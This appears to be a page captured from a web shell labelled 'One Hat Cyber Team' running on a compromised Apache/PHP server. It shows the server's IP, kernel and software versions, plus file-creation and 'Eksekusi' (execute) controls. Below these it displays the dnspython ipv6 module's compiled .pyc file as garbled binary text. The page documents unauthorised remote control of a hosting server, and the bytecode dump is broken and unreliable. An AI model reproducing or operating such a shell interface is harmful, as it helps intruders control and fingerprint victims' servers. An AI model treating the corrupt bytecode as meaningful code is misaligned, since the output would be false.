⚝
One Hat Cyber Team
⚝
Your IP:
3.144.163.245
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
dns
/
__pycache__
/
View File Name :
ipv6.cpython-39.pyc
a �M�e� � @ s� d Z ddlZddlZddlmZmZ ddlZddlZe� d�Z eed�dd�Z e� d�Ze� d �Ze� d �Zdeeef eed�d d�ZdZeed�dd�Zeeef ed�dd�ZdS )zIPv6 helper functions.� N)�List�Unionz 0+([0-9a-f]+))�address�returnc C s� t | �dkrtd��t�| �}g }d}t |�}||k rz|||d � �� }t�|�}|durf|�d�}|�|� |d7 }q.d}d}d} d} t d �D ]B}|| d kr�| r�|}|| }||kr�| }|}d} q�| s�|} d} q�| r�d }|| }||kr�| }|}|dk�r�|dk�rZ|dk�s,|d k�rZ|d dk�rZ|dk�r<d} nd} | t j�| dd� � }n,d� |d|� �d d� ||| d� � }n d� |�}|S )z�Convert an IPv6 address in binary form to text form. *address*, a ``bytes``, the IPv6 address in binary form. Raises ``ValueError`` if the address isn't 16 bytes long. Returns a ``str``. � z IPv6 addresses are 16 bytes longr � N� ���F� �0T� � Zffffz::z::ffff:� �:)�len� ValueError�binasciiZhexlify�decode� _leading_zero�match�group�append�range�dns�ipv4� inet_ntoa�join)r �hex�chunks�i�l�chunk�mZ best_startZbest_len�startZ last_was_zero�endZcurrent_len�prefixZthex� r&